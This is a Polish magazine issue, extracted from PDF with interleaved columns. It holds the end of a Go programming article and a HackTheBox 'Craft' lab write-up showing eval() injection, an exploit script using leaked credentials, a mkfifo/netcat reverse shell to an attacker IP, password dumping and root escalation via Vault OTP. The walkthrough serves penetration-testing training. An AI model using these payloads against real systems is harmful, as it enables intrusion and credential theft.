jane, zakładając (prawdopodobnie), że zawsze będzie się dało przejść
fmt.Println("line =", line) przez cały czytany plik. Przykłady takiego kodu można znaleźć w [5].
}
fmt.Println("Parsed whole file?")
}
NA ZAKOŃCZENIE
Tego rodzaju czytanie pliku zawiera w sobie pułapkę: gdy skaner Jak mogliśmy się przekonać, pułapki programistyczne występują
natrafi na linię dłuższą niż jego wewnętrzny bufor (do którego czy- również we względnie nowych językach programowania. Mimo tego,
ta linie), który ma 64 KiB, czyli 64*1024 bajtów, to zakończy pętlę, że twórcy Go wyciągnęli wnioski, ucząc się na błędach poprzedni-
a w swoim stanie zapisze błąd. Możemy to zobaczyć w Listingu 15, ków, trudno oczekiwać, by sam język programowania uchronił nas
gdzie do kodu z Listingu 14 dodano sprawdzanie błędu skanera, któ- przed potencjalnie błędną implementacją. W tej sytuacji należy dą-
re można zobaczyć poniżej: żyć do tego, aby w pełni rozumieć kod źródłowy oraz wiedzieć, jak
wpływają na niego środowiska (systemy operacyjne czy architektury
if err := scanner.Err(); err != nil {
fmt.Println("Scanner error:", err) procesorów), na których będzie działać nasz program. Oczywiście
} nie jest to trywialna część pracy, ale z pomocą może przyjść tutaj
Listing 15. Utworzenie pliku z długą linią (komendami python…) i czytanie dogłębna analiza kodu używanych paczek – jak mogliśmy zobaczyć,
go programem z Listingu 14 zawierającym zmianę z wyświetlaniem błędu nawet tych ze standardowej biblioteki – czy też testy jednostkowe
skanera i integracyjne uruchamiane na różnych platformach. Warto zwrócić
$ python -c 'print("First line")' > input również uwagę na fakt, że opisywane problemy mogą prowadzić do
$ python -c 'print("A"*(64*1024))' >> input poważnych błędów bezpieczeństwa, stąd istotne w procesie SDLC
$ python -c 'print("Last line")' >> input
$ head -n1 input (ang. Software Development Lifecycle) są odpowiednie audyty bezpie-
First line czeństwa kodu źródłowego (w tym przypadku najlepiej może spraw-
$ tail -n1 input
Last line dzić się podejście full knowledge, gdzie audytorzy mają pełen dostęp
$ wc -c input
65558 input
do wykorzystywanego kodu źródłowego oraz środowiska, na którym
$ go run main.go uruchamiana jest aplikacja).

Źródła
[1] https://googleprojectzero.blogspot.com/2020/10/enter-the-vault-auth-issues-hashicorp-vault.html
[2] https://github.com/golang/go/blob/4d8db00641cc9ff4f44de7df9b8c4f4a4f9416ee/src/net/http/fs.go#L693-L740
[3] https://twitter.com/szymex73
[4] https://pkg.go.dev/reflect#StructTag
[5] https://grep.app/search?q=for%20scanner.Scan%28%29%20%7B

D OMINIK 'DISCONNECT3D' CZARNOTA


dominik.b.czarnota+pmag@gmail.com
Rozłączony zawodowo zajmuje się audytami bezpieczeństwa różnego rodzaju softu wraz z firmą Trail of Bits, analizując kod
oraz wykorzystując takie narzędzia jak fuzzing czy własne regułki statycznej analizy. Poza pracą grywa CTFy z justCatTheFish,
gra w DoTA2 i nie może doczekać się powrotu do rzeczywistości, w której konferencje czy meetupy onsite/offline mają jednak
miejsce.

<36> { 5 / 2021 < 99 > }


BEZPIECZEŃSTWO

HackTheBox Craft – CTF dla pentestera


W ostatnich latach zauważyć można rosnące zainteresowanie firm tematami bezpieczeń-
stwa. Wiąże się to ze wzrostem świadomości zarówno podmiotów, jak i kadry decyzyjnej,
dotyczącej zagrożeń dla danych, produktów, a co za tym idzie – także biznesów. Może to mieć
również związek ze stale wzrastającą liczbą incydentów bezpieczeństwa, a także kosztem
obsługi takich zdarzeń. Jedno jest pewne – zapewnienie ochrony danych oraz infrastruktury
zgodnie z podstawowymi zasadami bezpieczeństwa (triada CIA) jest zadaniem ciągłym, a nie
jednorazowym zdarzeniem, i wymaga zaangażowania specjalistów zarówno od strony bez-
pieczeństwa ofensywnego, jak i defensywnego.

B ezpieczeństwo to zagadnienie bardzo przekrojowe, na które składa


się wiele innych dziedzin. Wbrew obiegowej opinii praca pente-
stera nie wygląda też spektakularnie i zdecydowanie nie przypomina
Uwaga: Przedstawione w niniejszym artykule praktyki stanowią okrojony podzbiór
technik wykorzystywanych podczas pentestów. Nie reprezentują żadnej konkretnej
metodologii ich przeprowadzania, ale skupiają się na osiągnięciu celu. W przypadku
tej gry będzie to zdobycie flagi. Wynikiem pobocznym jest tzw. „writeup”, czyli opis
ekranizacji hackingu. Eksperci chcący przeprowadzić testy bezpie- rozwiązania znajdujący się poniżej. Nie jest to jednak tożsame z raportem z testów
penetracyjnych.
czeństwa zmuszeni są do ciągłej nauki i rozwoju umiejętności oraz
poznawania nowych technologii. Do niedawna poćwiczyć różne
warianty ataków można było głównie podczas konkursów CTF1, na cjalistów. W innym przypadku może dojść do szkody nie tylko wize-
stronach typu wargames (które prowadzą rankingi w rozwiązywaniu runkowej, ale również finansowej.
zadań) lub też pobierając zadania składające się z obrazów maszyn Na szczęście w sieci znajdują się miejsca, w których osoby o różnych
wirtualnych. Obecnie na rynku pojawiły się usługi oferujące poli- zainteresowaniach mogą wymieniać się wiedzą czy wyzywać na poje-
gon doświadczalny, w którym można bez ryzyka (o ile postępuje się dynki członków społeczności. Takim portalem jest chociażby Hack-
zgodnie z zasadami) przetestować metody eksploitacji. Warto tu- TheBox [1], platforma firmy Hack The Box LTD., czy Vulnhub [2].
taj zaznaczyć, że należy powyższe zawody traktować w charakterze Tworzone i umieszczane tam wyzwania są przede wszystkim próbą
sportu w jakimś stopniu wyczynowego. Rozgrywki CTF z reguły nie przedstawienia procesu przełamywania zabezpieczeń w formie zbli-
starają się nawet odzwierciedlić rzeczywistych problemów infra- żonej do zawodów CTF. Atakujący musi bowiem dostarczyć flagi,
struktury IT, natomiast maszyny wirtualne przeznaczone do takich które są dowodem zdobycia dostępu o określonym stopniu uprzywi-
testów, jak tytułowy HackTheBox2, to najczęściej wyzwania prostsze lejowania. Cele można podzielić ze względu na systemy operacyjne
i dość tendencyjne. Przekłada się to na niedokładne odzwierciedle- (pojawiają się maszyny z większością popularnych systemów opera-
nie „pola walki”, ale pozwalają poćwiczyć kilka powtarzalnych ele- cyjnych) oraz poziom trudności. Flagi od pewnego czasu są genero-
mentów większości pentestów. Mogą być jednak pomocne, gdy nie wane w momencie uruchomienia maszyny, a publikacja rozwiązań
dysponujemy zbyt dużym doświadczeniem. W tym artykule pokażę następuje dopiero w momencie, gdy dane wyzwanie przestaje być ak-
sposób rozwiązania wybranej maszyny. tywne. Niestety, jak to w Internecie bywa, można się natknąć na od-
powiedzi do zadań w czasie procesu ich rozwiązywania, ale przecież

PODATNE MASZYNY celem nie jest oszukanie samego siebie, tylko przyjemna rozgrywka
i satysfakcja z rozwiązania zadania.
Mało prawdopodobne jest świadome udostępnianie swoich zasobów
i serwerów w taki sposób, aby możliwe było ich przejęcie czy wyko-
JAK DOŁĄCZYĆ DO ZABAWY?
rzystanie przez nieupoważnione osoby. Z reguły administratorzy sta-
rają się jak najszybciej reagować na różnego rodzaju incydenty i łatać Gdy mamy już podstawową wiedzę z zakresu działania systemów
odkryte podatności. Czasami jednak nie sprowadza się to tylko do operacyjnych, programowania oraz bezpieczeństwa systemów, moż-
oprogramowania z tzw. „mainstreamu”, ale dotyczy także części apli- na przystąpić do wyzwania. Po założeniu konta [3], przygotowaniu
kacji napisanej na zlecenie lub będącej własnością podmiotów. Takie wirtualnej maszyny oraz pobraniu na konfiguracji połączenia VPN
rozwiązania powinny podlegać niezależnym testom penetracyjnym, użytkownik przechodzi do lobby z dostępnymi maszynami (Labs
które będą przeprowadzane okresowo przez wykwalifikowanych spe- → Machines).
To z tego miejsca może wybrać wyzwanie i przejść do jego rozwią-
1. Capture the flag – zawody polegające na rozwiązywaniu zadań powiązanych najczęściej z cy- zywania. W związku ze wspomnianym wcześniej embargiem, które
berbezpieczeństwem w celu pozyskania/odkrycia ciągu znaków – flagi, która dowodzi rozwiązaniu
zadania; ctftime.org – ranking najlepszych drużyn oraz zawodów.
zabrania publikacji rozwiązań do czasu wycofania aktywnej maszy-
2. Niniejszy artykuł nie jest reklamą usług ani nie jest artykułem sponsorowanym. Autor wyraża je- ny, w niniejszym artykule za przykład posłuży wyzwanie o statusie
dynie swoje zdanie na temat dostępnej platformy, której jest użytkownikiem, i nie otrzymał wyna-
grodzenia od firmy Hack The Box LTD. „retired”.

<38> { 5 / 2021 < 99 > }


BEZPIECZEŃSTWO

Rysunek 1.1. Lobby – wybór wyzwania

Maszyny te dostępne są w większości jedynie dla użytkowników ne na etapie wcześniejszej fazy. Co prawda jest to proces żmudny
premium, za wyjątkiem kilku udostępnianych przez HTB dla wszyst- i pracochłonny, ale pozwala na kompleksowe zbadanie materii te-
kich. Jedną z wycofanych maszyn jest Craft, działający pod systemem stów. Reszta jest już tylko kwestią abstrakcji, więc te elementy pro-
Debian. Jest przykładem nietrywialnego zadania, na które można cesu pozostają niezmienne wobec różnych systemów czy technologii.
natrafić na tej platformie, i wymaga wykorzystania różnych niedopa- Nie ma znaczenia, czy testowana jest aplikacja mobilna czy aplikacja
trzeń w konfiguracji. Nie ogranicza się więc jedynie do skopiowania chmurowa – elementy tego procesu są podobne, różnić się oczywi-
kodu źródłowego exploita i jego uruchomienia w celu wykorzystania ście będzie technika, ale także zakres pozyskiwanych informacji. Za-
znanej podatności. To powoduje, że jest dużo bardziej wartościowa, łożenia wciąż będą opierały się jednak o planowanie, odkrywanie,
patrząc przez pryzmat praktyki i przykładu. eksploitację i raportowanie. Z diagramu przedstawionego na Rysun-
ku 1.4, reprezentującego ogólny przebieg testów, pomija się etap pla-
nowania oraz raportowania, ponieważ głównym celem jest skompro-
mitowanie zadania, wspomniane składniki będą natomiast równie
kluczowe w przypadku prawdziwych testów.

Rysunek 1.2. Wycofana maszyna Craft Rysunek 1.4. Fazy testu (źródło własne, na podstawie owasp.org/www-project-web-security-
-testing-guide/latest/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies)

Po uruchomieniu maszyny użytkownik otrzymuje IP celu i może przy-


stąpić do ataku. Wykrywanie, czy też rekonesans, to oczywiście etap złożony w głów-
nej mierze z enumeracji zasobów oraz usług. Pozwala to zwiększyć
powierzchnię ataku, ponieważ na danym hoście może być urucho-
mione wiele usług. Czasami zdarza się, że aplikacje udostępniają
panele lub podstrony, które nie powinny być dostępne dla zwykłe-
go użytkownika. Właśnie na poszukiwaniu takich elementów należy
się skupić. Im dokładniejszy będzie ten etap, tym więcej możliwości
przełamania zabezpieczeń czy też sposobów na obejście konfiguracji
Rysunek 1.3. Wszystkie potrzebne informacje – maszyna jest za 0 punktów, ponieważ
możliwe jest już publikowanie rozwiązań będzie można odnaleźć.
Faza ataku/eksploitacji to moment, w którym atakujący wykorzy-
Teraz dla uproszczenia można dodać wpis do pliku /etc/hosts w celu stuje zebraną wiedzę na temat celu i próbuje osiągnąć zamierzony
przypisania niestandardowej domeny craft.htb do adresu IP. efekt, którym może być np. deface strony, kradzież danych, spowo-
Zarówno testy penetracyjne, jak i tego typu zadania realizuje dowanie niedostępności serwisu, a także wiele innych, które godzą
się głównie w sposób iteracyjny, niezależnie od przyjętej metodo- we wspomnianą na wstępie triadę CIA systemu. Oczywiście działanie
logii wykonywania takich testów. To oznacza, że przez te same fazy nie musi się kończyć na tym jednym serwisie, może dotyczyć także
przechodzi się wielokrotnie, „pogłębiając” za każdą iteracją proces następnych hostów czy systemów użytkowników. To jednak zagad-
i uzupełniając obraz wiedzy o nowe odkrycia i wskazówki pozyska- nienie bardzo obszerne i wykracza poza ramy tego artykułu.

<40> { 5 / 2021 < 99 > }


/ HackTheBox Craft – CTF dla pentestera /

Pominięty wyżej opis procesu planowania odnosi się kolejno do 1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
ustalenia konkretnych celów przedsięwzięcia, ram czasowych, zasad https://nmap.org/cgi-bin/submit.cgi?new-service :
dokonywania testów, ich zakresu etc. Z kolei raportowanie będzie SF-Port6022-TCP:V=7.92%I=7%D=11/9%Time=618AB6A6%P
=x86_64-pc-linux-
wymagało przedstawienia odnalezionych błędów i podatności w taki gnu%r(NU
sposób, aby podmiot zamawiający testy mógł wynieść z nich wiedzę SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
umożliwiającą podniesienie bezpieczeństwa serwisu. Jeśli za trywialne
[...] # usunięte dla większej czytelności
uzna się stwierdzenie, że każdy etap testu jest tak samo ważny, autor
sugeruje przyjęcie założenia, że to właśnie raportowanie będzie klu-
czowe, stanowi bowiem pomost pomiędzy dwoma różnymi światami. Ten sam proces powtórzyć można także dla drugiego protokołu
warstwy transportowej – UDP. Wynik takiego skanu został zapre-

REKONESANS zentowany w Listingu 1.2. Z racji efektów, które wnoszą mało war-
tościowych informacji oraz długiego czasu skanowania wynikającego
Pierwszym krokiem do rozwiązania zadania będzie faza rekonesan- z zasady działania protokołu, ostateczny wynik został okrojony tylko
su, jako że zarówno etap planowania (określenie celu, zasad etc.), do 100 najpopularniejszych portów.
jak i raportowanie nie są elementem wyzwania.
Listing 1.2. Wynik podstawowego skanu UDP
Rozpoznanie rozpoczniemy od wykonania skanu usług, które
są uruchomione na maszynie. Z racji braku systemów IDS/IPS i ko- nmap -sU -sC -sV --top-ports 100 --script-timeout 10 --open
--reason -oA craft craft.htb
nieczności skrytego operowania z obawy przed wykryciem przez ze- Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-09 19:31 CET
społy reagowania na incydenty, można się tu posłużyć najprostszym Nmap scan report for craft.htb (10.129.42.245)
Host is up, received echo-reply ttl 63 (0.027s latency).
skanem TCP oraz UDP. Sztampowym narzędziem, które ma swoją All 100 scanned ports on craft.htb (10.129.42.245) are in ignored
states.
reputację oraz rozpoznawalność w świecie IT, jest oczywiście skaner Not shown: 60 closed udp ports (port-unreach), 40 open|filtered
portów Nmap [4]. udp ports (no-response)
[...] # usunięte dla większej czytelności
Proces wykrywania usług TCP dla rzeczonej maszyny został za-
prezentowany w Listingu 1.1.
Na pierwszy rzut oka usługi takie jak SSH rzadko padają łupem jako
Listing 1.1 Wynik skanowania TCP
pierwsze. Czasami zdarza się, że w systemie są użytkownicy, którzy
nmap -sC -sV -p- --script-timeout 10 craft.htb -oA tcp_explore skonfigurowali trywialne i łatwe do złamania hasła. Wówczas udaje
-vv
> scan.log się uzyskać taki dostęp w stosunkowo niedługim czasie. Należy jed-
PORT STATE SERVICE REASON VERSION nak pamiętać, że nie jest to działanie ani ukryte, ani trudne do zablo-
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4p1 Debian
10+deb9u6 (protocol 2.0) kowania i zgłoszenia administratorowi serwera.
| ssh-hostkey:
| 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
Z tego względu pierwszym naturalnym celem wydaje się być
| ssh-rsa [...] # usunięte dla większej czytelności usługa HTTP wykorzystująca szyfrowany tunel TLS na porcie 443.
| 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
| ecdsa-sha2-nistp256 # usunięte dla większej czytelności Skrypt, który został uruchomiony dla tego portu przez Nmap, do-
| 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519) starczył informacji na temat certyfikatu, który jest wykorzystywany
|_ssh-ed25519 # usunięte dla większej czytelności
443/tcp open ssl/http syn-ack ttl 62 nginx 1.15.8 podczas połączenia. Nie jest to nic, czego nie dałoby się odkryć przy
|_http-title: About pomocy przeglądarki internetowej. Warto sprawdzić, jakie domeny
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/
stateOrProvinceName=NY są objęte danym certyfikatem, ponieważ mogą one skrywać dodat-
/countryName=US kowe hosty wirtualne. Wykrycie innych aplikacji webowych zwięk-
| Issuer: commonName=Craft CA/organizationName=Craft/
stateOrProvinceName=New York/countryName=US/emailAddress=admin@ sza oczywiście powierzchnię ataku. Aplikacja hostowana w domenie
craft.htb/localityName=Buff craft.htb nie jest zbyt bogata w funkcjonalność.
alo/organizationalUnitName=Craft
| Public Key type: rsa Rzut oka na przyciski, a także źródło strony potwierdzają informacje
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
o dodatkowych dwóch subdomenach: api.craft.htb oraz gogs.craft.htb.
| Not valid before: 2019-02-06T02:25:47 Te adresy zostaną wykryte także z wykorzystaniem fuzzerów czy cho-
| Not valid after: 2020-06-20T02:25:47
| MD5: 0111 76e2 83c8 0f26 50e7 56e4 ce16 4766 ciażby Intrudera z pakietu Burp Suite (testowanie nagłówka Host).
| SHA-1: 2e11 62ef 4d2e 366f 196a 51f0 c5ca b8ce 8592 3730
[...] # usunięte dla większej czytelności Listing 1.3. Fragment kodu źródłowego strony
|_-----END CERTIFICATE-----
| tls-nextprotoneg: <ul class="nav navbar-nav pull-right">
|_ http/1.1 <li><a href="https://api.craft.htb/api/">API</a></li>
| http-methods: <li><a href="https://gogs.craft.htb/">
|_ Supported Methods: HEAD GET OPTIONS <img border="0" alt="Git" src="/static/img/Git-Icon-Black.png"
|_http-server-header: nginx/1.15.8 width="20" height="20"></a></li>
| tls-alpn: </ul>
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
6022/tcp open ssh syn-ack ttl 62 (protocol 2.0) Powyższe dwie subdomeny dla uproszczenia działań można również
| fingerprint-strings:
| NULL:
dodać do pliku /etc/hosts. Odwiedzając każdy z tych adresów, użyt-
|_ SSH-2.0-Go kownik zostanie obsłużony przez odpowiednią webaplikację.

{ WWW.PROGRAMISTAMAG.PL } <41>
BEZPIECZEŃSTWO

Rysunek 1.5. Strona główna craft.htb

Rysunek 1.6. Repozytorium pod adresem gogs.craft.htb/Craft/craft-api

Okazuje się, że pod adresem gogs.craft.htb hostowane jest repo- Listing 1.4. Fragment pliku brew.py
zytorium kodu gogs [5], którego konfiguracja pozwala niezalogowa- @auth.auth_required
nym użytkownikom przejrzeć repozytorium craft-api. @api.expect(beer_entry)
def post(self):
Lektura kodów może dostarczyć dużo przydatnych informacji na eta- """
pie rekonesansu. Zachęcam do zapoznania się ze źródłami API oraz Creates a new brew entry.
"""
w ramach ćwiczeń spróbować wskazać możliwe nadużycia. Dokład- # make sure the ABV value is sane.
na analiza kodu źródłowego oraz historii commitów może dopro- if eval('%s > 1' % request.json['abv']):
return "ABV must be a decimal value less than 1.0", 400
wadzić do poznania przez atakującego różnych sekretnych tokenów else:
wykorzystywanych przez aplikację, a także danych dostępowych do create_brew(request.json)
return None, 201
kont testowych, które nie musiały zostać wyłączone w aplikacji wy-
korzystywanej w środowisku produkcyjnym.
Najczęściej sama kompromitacja repozytorium jest dostatecznie Wnikliwy czytelnik zapewne już zauważył problem występujący w tej
dużym kłopotem dla organizacji. W związku z tym przechwycenie aplikacji (na marginesie warto dodać, że fanów serialu „Silicon Val-
poświadczenia innych użytkowników lub założenie konta w celu mo- ☺
ley” nie zaskoczy, kto jest autorem podatnego kodu ).
dyfikacji aplikacji mogłoby spowodować jeszcze większe problemy
nie tylko dla firmy wytwarzającej oprogramowanie, ale również jej
klientów, korzystających z danego produktu.

Rysunek 1.7. Commit wprowadzający podatność


UZYSKIWANIE DOSTĘPU
Plik, na który warto zwrócić uwagę, nazywa się brew.py i znajduje się Błąd, o którym tutaj mowa, to oczywiście użycie funkcji eval na danych
w katalogu /craft_api/api/bre/endpoints. pochodzących bezpośrednio z niezaufanego źródła [6]. Spowoduje to

<42> { 5 / 2021 < 99 > }


/ HackTheBox Craft – CTF dla pentestera /

wykonanie po stronie serwera wyrażenia w języku Python przesłane- wszystkim brak rotacji haseł i tokenów we wszystkich miejscach, któ-
go przez atakującego. re taki sekret mogłyby uwzględniać.
Dodatkowo istotny jest fakt, że funkcja ta dotyczy API (nazwa
Listing 1.6. Poświadczenia w kodzie źródłowym
projektu), co może sugerować związek z subdomeną api.craft.htb.
W celu dalszej enumeracji zasobów można odwiedzić tę subdome- +response = requests.get('https://api.craft.htb/api/auth/login',
auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) # linijka
nę, uzupełniając oczywiście wpis do /etc/hosts, jeśli nie zostało to zawierająca login i hasło
uprzednio zrobione. +json_response = json.loads(response.text)

Szybki etap enumeracji umożliwia przejście przez barykadę wymaga-


nych haseł, ponieważ wykonując, z wykorzystaniem UI, zapytanie do
endpointu /auth/login, potwierdza się ich ważność (patrz Listing 1.6).
Odpowiedzią na to działanie jest wygenerowany token (taki token,
o ile nie zaimplementowane zostały mechanizmy, które powodują
jego wygaśnięcie, również mógłby się przydać do wywołania zabez-
pieczonych metod).

Listing 1.7. Zwrócony token JWT po pozytywnym przejściu procesu uwierzy-


telnienia z wykorzystaniem odkrytych haseł

{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJ1c2VyIjoiZGluZXNoIiwiZXhw
IjoxNjM2NTU1MTQ3fQ.AyMKxixOXXB9KJXYmLveVCzGq071YoVp8ydH8C8zcOk"
}

Kolejnym krokiem będzie napisanie kodu exploita, który ułatwi każ-


dorazowe wywołanie zapytania z odpowiednim payloadem w prze-
słanej treści. Dzięki temu atakujący będzie mógł wykonać swój kod
na serwerze i w konsekwencji skompromitować konto użytkownika
a być może nawet administratora (czyli np. konto root w systemach
z rodziny Unix).
W Listingu 1.8 zaprezentowano szkielet kodu ułatwiającego testo-
wanie wielu ładunków, których zadaniem będzie doprowadzenie do
wykonania komend atakującego na serwerze i uzyskanie tzw. połą-
czenia zwrotnego (ang. reverse shell).
Rysunek 1.8. Dokumentacja API wygenerowana przy użyciu Swaggera
Listing 1.8. Kod szkieletowy exploita

Dokumentacja endpointu brew zdaje się potwierdzać to, na co wska- #! /bin/usr/env python3

zywał kod źródłowy, tj. wymaga uwierzytelnienia, aby skorzystać import requests
import json
z tego endpointu (dekorator @auth.auth_required), a dodatkowo
r = requests.get("https://api.craft.htb/api/auth/login",
próba wykonania zapytania kończy się niepowodzeniem z kodem auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
błędu 403 – Listing 1.5. # verify ustawione na false
# z powodu self signed certyfikatu
Listing 1.5. Treść wiadomości o błędzie token = r.json()['token']
print(f"[+] token {token}")
{ headers = { 'X-Craft-API-Token': token, 'Content-Type':
"message": "Invalid token or no token found." 'application/json'}
} # informacja zaczerpnięta z pliku
# tests/tests.py z repozytorium kodu gogs

# payload
Kolejnym krokiem powinno być sprawdzenie domyślnych haseł oraz payload = {
powrót do etapu enumeracji, który może pomóc nam wykorzystać "id": "asdf",
"name": "asdf2",
podatność. "brewer": "asdf3",
Należy pamiętać, że tego typu wyzwania nierzadko bywają dość "style": "asdf4",
"abv": "" # rce
liniowe i zdarza się, że jeśli na etapie rozwiązywania brakuje poświad- }
czeń, to zapewne istnieje sposób na ich pozyskanie. Realny świat bywa r2 = requests.post("https://api.craft.htb/api/brew",
dużo bardziej brutalny, ale i na to pentesterzy mają pewne sposoby. headers=headers, data=json.dumps(payload), verify=False)

Następnym etapem enumeracji maszyny powinno być zapozna-


nie się z historią commitów. Często zdarza się bowiem, że jakieś se- Teraz nie pozostało nic innego, jak wykorzystać kod, który wewnątrz
krety trafiły do repozytorium, a następnie zostały z niego usunięte. funkcji eval wykona pewne polecenia, a w optymalnym przypadku
Niestety błędem jest niemodyfikowanie historii commitów i przede uzyska zwrotne połączenie. Warto do problemu podejść iteracyjnie

{ WWW.PROGRAMISTAMAG.PL } <43>
BEZPIECZEŃSTWO

i sprawdzać kolejne etapy budowy exploita. Wykorzystanie zainsta- Na podstawie tych informacji atakujący może próbować wykonać
lowanych narzędzi, takich jak netcat, pozwala na przekierowanie własne zapytania do bazy danych. Zmiana zapytania SQL na "SHOW
powłoki systemu przez połączenie TCP do procesu nasłuchującego TABLES;" pozwala enumerować tabele i zwróci informacje przedsta-
na urządzeniu pod kontrolą atakującego. Przykładowy payload może wione w Listingu 1.12.
wyglądać następująco:
Listing 1.12. Enumeracja tabel w bazie danych
Listing 1.9. Wykonanie kodu i reverse shell łączący się z hostem atakującego
[{'Tables_in_craft': 'brew'}, {'Tables_in_craft': 'user'}]
na porcie 443

exe = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat


/tmp/f|/bin/sh -i 2>&1|nc 10.10.14.70 443 >/tmp/f')" Uważny czytelnik dostrzeże, że następnym krokiem powinno być wy-
listowanie zawartości tych tabel, w szczególności tabeli users. Wyni-
Listing 1.10 Nasłuchujący proces netcata odbierający połączenie z powłoką
kiem tego zapytania będzie poniższy zestaw krotek:
atakowanego systemu oraz wykonanie kilku poleceń
Listing 1.13. Enumeracja tabeli users
╰─○ sudo nc -nvlp 443
Listening on 0.0.0.0 443
Connection received on 10.129.42.245 36825 [{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'},
/bin/sh: can't access tty; job control turned off {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'},
/opt/app # ls {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
app.py
craft_api
dbtest.py Kolumny password przechowują hasła określonych użytkowników.
tests To dobry moment, aby zrobić wstępne rozeznanie, jaki sposób prze-
/opt/app # cd /
chowywania sekretów został przyjęty. Na tym przykładzie trudno od-
/ # whoami
root
naleźć charakterystyczne znaki szczególne (jak długość, oznaczenie
soli etc.) dla kryptograficznych algorytmów skrótu, można więc zało-
żyć, że dane te nie zostały poddane żadnej obróbce przed umieszcze-

ESKALACJA UPRAWNIEŃ niem w bazie. Przechowywane w postaci jawnej hasła to niewątpliwie


błąd bezpieczeństwa, na który warto zwrócić uwagę. Dzięki nowym
W przypadku tego zadania zwrotne połączenie wykonywane jest z upraw- informacjom atakujący może spróbować wykorzystać zdobyte dane
nieniami użytkownika root. Czy to koniec? Nie, ponieważ wygląda na to, do uwierzytelnienia się jako inny użytkownik, co być może pozwoli
że powłoka uruchomiona została w dockerowym kontenerze. na dalsze enumerowanie i zwiększanie dostępu do hosta.
Ponownie jest to moment, aby przejść do etapu enumeracji i za- Po dalszym rekonesansie z wykorzystaniem hasła użytkownika
poznania się z treścią plików, konfiguracji, elementów systemu, ta- gilfoyle atakujący powinien odkryć repozytorium należące tylko do
kich jak wersja kernela, wersje zainstalowanego oprogramowania. tego użytkownika.
Jest to proces czasochłonny i żmudny, dlatego nie zostanie przedsta-
wiony w niniejszym artykule. Na szczęście połączenie zwrotne po-
zwala na wykonanie komend wewnątrz kontenera, a w nim zawarte
są różne pliki, które mogą być przydatne dla atakującego. Na przy-
kład plik dbtest.py.

Listing 1.11. Zawartość pliku dbtest.py

#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(
host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)

try:
with connection.cursor() as cursor:
sql = \
"SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)
Rysunek 1.9. Repozytorium użytkownika gilfoyle cratf-infra
finally:
connection.close()

Zawarty klucz prywatny SSH to kolejny element, który w repozyto-


rium nie powinien się znaleźć. Z jego pomocą możliwe jest otrzyma-
nie sesji SSH przez użytkownika gilfoyle.

<44> { 5 / 2021 < 99 > }


BEZPIECZEŃSTWO

Listing 1.14. Zdobycie flagi użytkownika is already stored in the token helper. You do NOT need to run
"vault login"
╰─○ ssh gilfoyle@craft.htb -i g again. Future Vault requests will automatically use this token.
The authenticity of host 'craft.htb (10.129.42.245)' can't be
established. Key Value
--- -----
. * .. . * * token f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
* * @()Ooc()* o . token_accessor 1dd7b9a1-f0f1-f230-dc76-46970deb5103
(Q@*0CG*O() ___ token_duration ∞
|\_________/|/ _ \ token_renewable false
| | | | | / | | token_policies ["root"]
| | | | | | | | identity_policies []
| | | | | | | | policies ["root"]
| | | | | | | | gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=127.0.0.1
| | | | | | | | Key Value
| | | | | \_| | --- -----
| | | | |\___/ lease_id ssh/creds/root_otp/
|\_|__|__|_/| a5b5776e-5aba-cbee-3e9f-334a94343941
\_________/ lease_duration 768h
lease_renewable false
Enter passphrase for key 'g': # tutaj hasło z wycieku powyżej ip 127.0.0.1
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 key 33ae6be7-617e-4161-b938-10acb871f92e #
(2018-10-27) wygenerowane otp
x86_64 key_type otp
port 22
The programs included with the Debian GNU/Linux system are free
username root
software;
gilfoyle@craft:~$ ssh root@127.0.0.1 # logowanie z wykorzystaniem
the exact distribution terms for each program are described in
otp
the
[...]
individual files in /usr/share/doc/*/copyright.
Last login: Wed Jun 16 01:32:59 2021 from 127.0.0.1
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent root@craft:~# id
permitted by applicable law. uid=0(root) gid=0(root) groups=0(root)
Last login: Wed Jun 16 01:32:37 2021 from 10.10.14.2 root@craft:~# cat root.txt
gilfoyle@craft:~$ cat user.txt 8738988[...]1191ac64d289b1da
f98660[....]b01283fe3bb8790

Po uzyskaniu dostępu atakujący ponownie staje przed koniecznością


PODSUMOWANIE
przeprowadzenia kolejnego kroku eskalacji przywilejów do konta
z najwyższymi uprawnieniami. Aby to zrobić, konieczna jest jeszcze Wyzwania tego typu wymagają znajomości wielu technologii, ponieważ
jedna iteracja enumeracji. Jak to w tego typu zadaniach bywa, celem konfiguracja każdego zadania może być różna, a umiejętne żonglowanie
jest pozyskanie flagi, a więc sposób na rozwiązanie na pewno istnieje; wieloma zmiennymi powoduje, że możliwości generowania takich za-
pozostaje więc tylko kwestia jego odnalezienia. dań są olbrzymie. Jest to dobry powód, żeby poćwiczyć zarówno proces
